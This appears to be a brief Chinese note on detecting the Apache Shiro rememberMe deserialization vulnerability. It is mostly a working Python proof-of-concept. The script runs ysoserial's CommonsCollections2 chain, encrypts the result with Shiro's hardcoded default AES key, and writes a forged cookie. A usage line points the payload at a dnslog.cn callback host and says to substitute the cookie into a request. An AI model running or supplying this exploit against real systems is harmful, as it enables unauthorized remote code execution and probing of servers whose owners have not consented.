Shiro反序列化漏洞检测、dnslog

目录

• 信息收集
• poc
• 参考

---

信息收集

poc

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

python shiro_poc.py "sfvpil.dnslog.cn"

/tmp/payload.cookie

替换发包的rememberMe=X

参考

https://github.com/insightglacier/Shiro_exploit

https://github.com/Medicean/VulApps/tree/master/s/shiro/

https://www.cnblogs.com/paperpen/p/11312671.html